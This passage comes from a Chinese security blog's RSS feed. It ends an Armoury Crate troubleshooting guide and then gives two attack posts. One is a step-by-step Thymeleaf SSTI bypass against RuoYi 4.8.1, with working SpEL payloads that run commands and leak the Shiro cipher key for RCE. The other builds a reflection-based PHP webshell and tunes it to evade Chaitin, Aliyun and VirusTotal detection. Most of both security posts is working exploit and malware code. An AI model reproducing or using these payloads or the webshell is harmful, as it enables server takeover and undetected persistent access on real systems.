 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F49492337-664b-4ef3-93ce-917d09335115.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F18075b37-cca5-4909-9cff-48b43493d1e4.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">修改完后直接重启，不想重启的话直接打开cmd管理员运行，输入 gpupdate /force /wait:0 强制刷新注册表：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1362ab1f-cbd2-49c5-969f-2dca57dbbf36.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">重启或者强制刷新后打开奥创中心，ROG Live Service正常运行。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fba84c9e8-cb01-43ff-a59c-5d103b7f6406.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">只更新下面的设备与元件，上面的UWP应用程序不要更新。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fece66836-3afe-4b43-aa2b-848d86d5b2bc.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">当前ROG Live Service版本为3.3.12.0，就可以了。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F9ef9576a-922c-4976-9eba-bbc09e5d1be1.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">保险起见，最好再将微软应用商店的自动更新关闭。</p>
<p style="">当ROG Live Service更新的时候，如果版本号大于修改的版本号时，会自动更新，导致501报错，可下载这两个系统组件：<a href="https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/thank-you/net481-web-installer">下载 .NET Framework 4.8.1 Web Installer</a>，<a href="https://learn.microsoft.com/zh-cn/cpp/windows/latest-supported-vc-redist?view=msvc-170">最新受支持的 Visual C++ 可再发行程序包下载 | Microsoft Learn</a>，安装完重启，有可能就正常了。</p>
<h2 style="" id="%E5%85%B6%E4%BB%96">其他</h2>
<p style="">Windows Dynamic Lighting设置奥创管理不生效。把Amoury Crate的控制顺序拉到动态照明背景控制器的上面，但是切换页面以后还是会回到底部（这导致了Aura无法优先于Windows dynamic light 去控制灯光）。有两种方法：</p>
<p style="">1.尝试卸载功能库的游乐场核心，然后再重装，大概率可以使用。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F94915c2c-0df9-4eef-92a4-53ef14c2b226.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">2.修改注册表</p>
<p style="">这是贴吧吧友提供的方法：按Win+R打开regedit注册表，找到以下目录 计算机\HKEY_CURRENT_USER\Software\Microsoft\Lighting\Providers先把WindowsLighting重命名为4，再把后面的两项分别重命名为1和2，然后再把WindowsLighting重命名为3（下面这个图是动态光效切换一开始就正常的情况下，动态光效切换不正常情况下会多一个ASUSAmbientHAL64_xxxxx的字段）</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fee1e18ec-7a40-4b35-bdab-4a11d120a29a.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<h2 style="" id="%E6%9C%80%E5%90%8E">最后</h2>
<p style="">推荐用Ghelper。</p>]]></description><guid isPermaLink="false">/archives/armoury-crate-of-course-shit</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ffcd22c5e-c9cc-4905-9cf5-44a4f3dd62e3.png&amp;size=m" type="image/jpeg" length="14438"/><category>日常</category><pubDate>Tue, 2 Dec 2025 05:13:35 GMT</pubDate></item><item><title><![CDATA[若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE]]></title><link>http://gowninng.cn/archives/34429c47-d80f-49d0-af69-7a871353a44f</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E8%8B%A5%E4%BE%9D%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC4.8.1%E6%BC%8F%E6%B4%9E%20SSTI%E7%BB%95%E8%BF%87%E8%8E%B7%E5%8F%96ShiroKey%E8%87%B3RCE&amp;url=/archives/34429c47-d80f-49d0-af69-7a871353a44f" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="%E5%89%8D%E8%A8%80">前言</h2>
<p style="">最近在微信公众号阅读<a href="https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw" target="_blank" rel="">某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)</a>这篇文章，这篇文章的作者提供了一种新的表达式注入绕过方法，遂想通过这个绕过方法更改之前的利用链绕过检测并实现RCE。</p>
<h2 style="" id="%E4%BB%80%E4%B9%88%E6%98%AFthymeleaf%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%EF%BC%9F"><strong>什么是Thymeleaf表达式注入？</strong></h2>
<p style="line-height: inherit">Thymeleaf是一种流行的Java模板引擎，用于在Web应用中生成动态HTML页面。<strong>表达式注入</strong>是指攻击者通过输入精心构造的数据，使得应用程序执行了非预期的表达式代码。</p>
<p style="line-height: inherit">成功的Thymeleaf表达式注入可能导致远程代码执行、数据库信息泄露、服务器被完全控制等严重后果。</p>
<h2 style="" id="%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"><strong>漏洞分析</strong></h2>
<h3 style="" id="rce">RCE</h3>
<p style="line-height: inherit">发现的这个漏洞存在于若依管理系统的<code>CacheController.java</code>文件中，涉及<code>/getNames</code>接口：</p>
<pre><code class="language-java">@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
 &nbsp; &nbsp;mmap.put("cacheNames", cacheService.getCacheNames());
 &nbsp; &nbsp;return prefix + "/cache::" + fragment; // 模板注入漏洞
}</code></pre>
<p style="line-height: inherit"><strong>漏洞点</strong>：</p>
<ul>
 <li>
  <p style="line-height: inherit"><strong>控制器</strong>：<code>CacheController.java</code></p>
 </li>
 <li>
  <p style="line-height: inherit"><strong>接口</strong>：<code>/getNames</code></p>
 </li>
 <li>
  <p style="line-height: inherit"><strong>漏洞字段</strong>：<code>fragment</code>参数</p>
 </li>
 <li>
  <p style="line-height: inherit"><strong>漏洞原因</strong>：直接将用户输入拼接到Thymeleaf模板路径中。</p>
 </li>
</ul>
<p style="">在上面的文章中，已知这个点存在ssti漏洞，并且可直接通过表达式传入命令执行方法执行命令。在当前版本中，之前的表达式注入已失效，通过<code>__|$${表达式}|__::.x</code> 该格式可进行绕过，先来试验一下：</p>
<pre><code class="language-http">fragment=__|$${#response.getWriter().print('111')}|__::.x</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fce02f556-ed7f-4342-8f3b-1a895f3f04be.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">发现是可以绕过的，页面成功输出111，但是想要和之前的payload一样直接反射调用runtime是不行的，原因在于<span style="font-size: 16px">最新版本的Thymeleaf中，</span><code>SpringStandardExpressionUtils</code><span style="font-size: 16px">类将检查方法从</span><code>containsSpELInstantiationOrStatic</code><span style="font-size: 16px">升级为</span><code>containsSpELInstantiationOrStaticOrParam</code><span style="font-size: 16px">，并加强了检查逻辑，明确禁止上述危险语法的使用。这使得直接使用这些语法进行攻击变得更加困难。</span></p>
<p style=""><strong>最新版本中禁用的语法</strong>：</p>
<ul>
 <li>
  <p style="line-height: inherit">❌ <code>T(java.lang.Runtime)</code>（类型引用）</p>
 </li>
 <li>
  <p style="line-height: inherit">❌ <code>new java.io.File()</code>（对象实例化）</p>
 </li>
 <li>
  <p style="line-height: inherit">❌ <code>T ()</code>（带空格的类型引用）</p>
 </li>
 <li>
  <p style="line-height: inherit">❌ <code>param</code>（参数引用）</p>
 </li>
</ul>
<p style="line-height: inherit">遇事不决先问AI，看看java命令执行和代码执行的方法都有什么：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1e910bf5-191c-4e6e-b71d-918719aeb28d.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="line-height: inherit">嗯，还挺多，<code>org.springframework.expression.spel.standard.SpelExpressionParser</code> 和<code>javax.script.ScriptEngineManager</code> 但是javax.script.ScriptEngineManager从 JDK 15 开始，Nashorn JavaScript 引擎已被移除，这种利用方式在 JDK 15+ 环境下会失效；ProcessBuilder可直接new.java.lang.ProcessBuilder，这几个先不试了。</p>
<p style="line-height: inherit">经过测试，变量注入表达式也是行不通的，但是通过链式调用是可以成功执行的，因此表达式格式可以使用方法链式调用。之前的利用链不可用，经过查找，发现可以在<code>SecurityManager</code> 中获取获取getRuntime方法，根据之前payload的调用方法，构造出以下利用链:</p>
<blockquote>
 <p style="line-height: inherit">获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令</p>
</blockquote>
<p style="">那么构造出如下利用链：</p>
<pre><code class="language-http">fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x</code></pre>
<p style="">现在执行这个payload，看是否能够执行。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb9d334bb-3269-4ed0-85fe-647224d02302.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">直接500报错，那么为什么这个链看起来是正常的却不能执行？先一步一步来，一点一点删除调用的方法，直到删除到<code>loadClass('java.lang.Runtime')</code> 这个地方成功输出。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2e88ff8e-1aa8-4ad8-be6c-2dd8d84a2a6f.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">看来是有某个安全监测机制不让获取getRuntime方法，那么还有机会能绕过吗？有的。在 SpEL 中，对于无参数的方法调用，括号 () 是可选的，<code>getMethods()</code>和</p>
<p style=""><code>getMethods</code>作用是一样的，那么试一下把括号去掉是否报错。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fcf79db41-cb9c-4e05-bdb5-4c3185bcac49.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">没有报错，成功获取到getRuntime方法，那现在继续调试上面完整的利用链。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F6342eaf5-7753-4c65-8f04-4bb9856374d2.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">还是报错，从目前来看，直接调用exec的话会被监测机制拦截到，用同样的方法反射调用exec。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3bf745ee-49ba-44cb-bbd5-d5cb64791780.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">还是报错500，通过观察当前利用链，将getClass()的括号删除。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc9fe877c-76eb-4274-bf70-ea66a2343cac.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">获取成功，现在只获取到了方法，但是没反射调用，由于获取到的是第一个exec方法，在查找当前exec方法的用法后，构造以下利用链：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x</code></pre>
<p style="">等价于Runtime.exec(Runtime.getRuntime,"calc");,意思就是执行Runtime.getRuntime中的exec方法。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fbd7d8792-bdea-4b4d-8067-a3f802998f60.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">成功执行命令。<s>经过测试jdk8u192可执行命令，300+以上版本就不行了，高版本暂时没分析。</s></p>
<p style="">填个坑，其实jdk高版本和低版本调用的不是一个exec方法，上面使用的jdk是8。爆破exec方法位置，如下高版本也执行成功：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Facdb8fa6f53a44309c9fd99250bb9363.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">利用链如下：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][5].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x</code></pre>
<p style=""><strong>我发现每个版本，比如jdk8、jdk11、jdk21每个exec的方法位置可能不同，可以进行爆破方法位置来确定exec的位置，比如：</strong></p>
<p style="">21版本在第4个位置，其他版本可以进行爆破。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1d339fe6-398b-4a1f-8ba7-7f42c2cd3c21.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">或者使用空字符串( '' )作为起点，<strong>这个同样要爆破exec位置</strong>，比 @securityManager 更隐蔽，绕过类加载检测，使用 forName() 替代 loadClass() ，可能绕过某些针对特定方法名的检测：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null),"calc"))}|__::.x</code></pre>
<p style="">解释一下如果将对象变成空字符串：''.getClass().getClassLoader().loadClass('java.lang.Runtime') 报错的主要原因是：</p>
<p style="">1. ClassLoader为null ：String类是由JVM的bootstrap classloader加载的，而bootstrap classloader在Java中表示为null，所以调用 ''.getClass().getClassLoader() 会返回null，导致后续调用 loadClass() 方法时抛出NullPointerException。</p>
<p style="">2. 正确的写法应该是 ：</p>
<p style="">使用 ''.getClass().forName('java.lang.Runtime')</p>
<p style="">或者 Class.forName('java.lang.Runtime')</p>
<p style="">3. 为什么forName可以工作 ：</p>
<p style="">Class.forName() 方法内部会处理bootstrap classloader加载的类</p>
<p style="">即使底层使用的是null classloader，forName方法也能正确处理核心Java类</p>
<p style="">利用链思维图（ai生成的，箭头有点乱，按顺序看就好）</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fthymeleaf_exploit_chain.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<h3 style="" id="shirokey%E8%87%B3rce">ShiroKey至RCE</h3>
<p style="">上面的rce就结束了，但是观察代码发现，若依最新版本shirokey由SpringBean管理，可以调用SpringBean获取shirokey，下面开始查找shirokey的利用链。</p>
<p style="">首先先查找shiro关键方法，发现在securityManager Bean下存在如下代码：</p>
<pre><code class="language-java">@Bean
// [!code focus]
public SecurityManager securityManager(UserRealm userRealm)
{
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    // 设置realm
    securityManager.setRealm(userRealm);
    // 记住我
    // [!code focus]
    securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null);
    // 注入缓存管理器
    securityManager.setCacheManager(getEhCacheManager());
    // session管理器
    securityManager.setSessionManager(sessionManager());
    return securityManager;
}</code></pre>
<p style="">在securityManager方法中，通过rememberMeManager()方法设置rememberMeManager：</p>
<pre><code class="language-java">public CustomCookieRememberMeManager rememberMeManager()
{
    CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
    cookieRememberMeManager.setCookie(rememberMeCookie());
    if (StringUtils.isNotEmpty(cipherKey))
    {
        // [!code focus]
        cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
    }
    else
    {
        cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
    }
    return cookieRememberMeManager;
}</code></pre>
<p style="">如果配置文件中设置了 shiro.cookie.cipherKey ，则使用该配置的Base64解码值，否则，通过 CipherUtils.generateNewKey(128, "AES").getEncoded() 生成随机密钥，进入生成随机密钥的方法实现：</p>
<pre><code class="language-java">public static Key generateNewKey(int keyBitSize, String algorithmName)
{
    KeyGenerator kg;
    try
    {
        kg = KeyGenerator.getInstance(algorithmName);
    }
    catch (NoSuchAlgorithmException e)
    {
        String msg = "Unable to acquire " + algorithmName + " algorithm.  This is required to function.";
        throw new IllegalStateException(msg, e);
    }
    kg.init(keyBitSize);
    return kg.generateKey();
}</code></pre>
<p style="">找到了cipherKey的位置，现在通过表达式获取一下试试：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print(@securityManager.rememberMeManager.cipherKey)}|__::.x</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F5dc0efe6-7845-4520-a574-e965decb4edd.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">成功获取到shirokey的字节码，接下来，通过上面的代码，反射调用加密方法并加密shirokey，构造利用链如下：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getDeclaredMethod('getEncoder').invoke(null).encodeToString(@securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager())))}|__::.x</code></pre>
<p style="">详细解释一下表达式调用链结构，在表达式 @securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager()) 中：</p>
<p style="">1. @securityManager.getRememberMeManager() ：获取rememberMeManager对象实例</p>
<p style="">2. .getClass().getSuperclass() ：获取该对象的父类（即CookieRememberMeManager）</p>
<p style="">3. .getMethods().?[name=='getCipherKey'][0] ：找到名为getCipherKey的方法</p>
<p style="">4. .invoke(@securityManager.getRememberMeManager()) ：调用该方法，第一个参数是方法的调用目标对象</p>
<p style="">非静态方法调用 ： getCipherKey() 是非静态方法，必须在一个具体的对象实例上调用</p>
<p style="">实例方法的特性 ：实例方法操作的是对象的成员变量（cipherKey就是rememberMeManager对象的一个成员变量）</p>
<p style="">反射机制要求 ：当使用反射API调用非静态方法时，必须提供该方法所属的对象实例作为invoke的第一个参数</p>
<p style="">如果不提供对象实例，Java运行时将不知道从哪个对象中获取cipherKey的值。这就像调用普通方法时，必须指定是哪个对象调用该方法一样（如 obj.method() 而不是 method() ）。</p>
<p style="">运行该表达式。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F8294f3ad-41ae-4239-b80c-eefacaac3ba9.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">成功获取，该表达式还可以精简一下：</p>
<pre><code class="language-java">fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x</code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F63ba67ff-84e6-4105-a20f-8a97eb66911b.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">使用获取到的key，放到工具里测试下：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2fd30e3e-6343-47f7-a4e6-81440b5a747d.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb4258ab5-bed9-4270-92fd-9976fdeb6f6c.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">成功RCE。</p>
<h2 style="" id="%E5%BC%95%E7%94%A8">引用</h2>
<ul>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw" theme="inline"><a href="https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw" target="_blank">https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw</a></hyperlink-inline-card>某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)</p>
 </li>
</ul>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/34429c47-d80f-49d0-af69-7a871353a44f</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fth.jpg&amp;size=m" type="image/jpeg" length="12996"/><category>网络安全</category><pubDate>Thu, 27 Nov 2025 12:46:00 GMT</pubDate></item><item><title><![CDATA[PHP_WebShell_反射Bypass]]></title><link>http://gowninng.cn/archives/019b8d6a-2c1c-7340-b783-6a4cbeadcfd6</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=PHP_WebShell_%E5%8F%8D%E5%B0%84Bypass&amp;url=/archives/019b8d6a-2c1c-7340-b783-6a4cbeadcfd6" width="1" height="1" alt="" style="opacity:0;">
<h3 style="" id="%E5%89%8D%E8%A8%80">前言</h3>
<p style="">之前在研究Java内存马的时候，反射机制是必不可少的，通过反射可调用任意方法。于是在想是否PHP的webshell是否也可以使用反射机制来写，之前发现朋友<hyperlink-inline-card target="_blank" href="https://gitee.com/iqingshan" theme="inline" custom-title="青山ya"><a href="https://gitee.com/iqingshan" target="_blank">https://gitee.com/iqingshan</a></hyperlink-inline-card>写了使用反射来调用命令执行代码的webshell，于是乎在这位朋友的基础上，尝试用反射来修改普通的PHP一句话webshell。</p>
<h3 style="" id="php5%E7%89%88%E6%9C%AC">PHP5版本</h3>
<p style="">这是普通的PHP一句话：</p>
<pre><code class="language-php">&lt;?php @eval($_POST['shell']);?&gt;</code></pre>
<p style="">接下来，使用反射来写webshell，先写一个恶意class用于反射调用：</p>
<pre><code class="language-php">&lt;?php
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this-&gt;var2 = "var1";
        $var2 = 'assert';
        $this-&gt;var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}</code></pre>
<p style="">然后使用反射调用该class类：</p>
<pre><code class="language-php">&lt;?php
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    // 创建一个Command类的实例
    $instance = new Command();
    // 创建一个反射类对象，用于检查和操作Command类
    $reflectionClass = new ReflectionClass('Command');
    // 获取实例中command属性的反射对象
    // 注意：$instance-&gt;command尝试访问公共属性command的值，这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;var2);
    // 设置反射属性为可访问，即使它是私有或受保护的
    $reflectionProperty-&gt;setAccessible(true);
    // 从实例中获取该属性的实际值（通常是一个闭包函数）
    $command = $reflectionProperty-&gt;getValue($instance);
    // 创建一个反射函数对象，用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数，并传入$param参数（通常是从请求中获取的代码）
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}</code></pre>
<p style="">接下来，将这两段代码结合：</p>
<pre><code class="language-php">&lt;?php
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;var2);
    $reflectionProperty-&gt;setAccessible(true);
    $command = $reflectionProperty-&gt;getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this-&gt;var2 = "var1";
        $var2 = 'assert';
        $this-&gt;var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?&gt;</code></pre>
<p style="">这个虽然可以执行，但是过不了长亭webshell和阿里伏魔webshell的检测。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750502387110.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750502399731.png&amp;size=m" width="830px" height="475px" data-position="left">
</figure>
<p style="">那继续修改，先后将<code>$var2 = 'assert';</code>修改成<code>$var2 = 'ass'.'ert';</code>也不行，但是改成<code>$var2 = 'ss'.'ert';</code>可以绕过，但是不能执行代码了呀。</p>
<p style=""><s>那么可以定义一个新的变量，比如</s><code>$var3="a"</code><s>。。。。。</s></p>
<p style="">不用想，肯定不行，但是可以另辟蹊径，使用define设置全局变量：</p>
<pre><code class="language-php">define('var3','a');</code></pre>
<p style="">然后将var3拼接到<code> 'ss'.'ert';</code>，就等于<code>$var2 = var3.'ss'.'ert';</code>,那现在直接修改代码：</p>
<pre><code class="language-php">&lt;?php
// error_reporting(0);
$pass = "gowninng";
define('var3','a');

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass-&gt;getProperty($instance-&gt;var2);
    $reflectionProperty-&gt;setAccessible(true);
    $command = $reflectionProperty-&gt;getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod-&gt;invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this-&gt;var2 = "var1";
        $var2 = var3.'ss'.'ert';
        $this-&gt;var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?&gt;</code></pre>
<p style="">来尝试一下执行phpinfo，ok没问题。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750502968315.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">那试试上传长亭伏魔和virustotal，伏魔和virustotal随便过，长亭第一次过了，后面再传上去突然能识别木马了。。。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750503136588.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750503150901.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
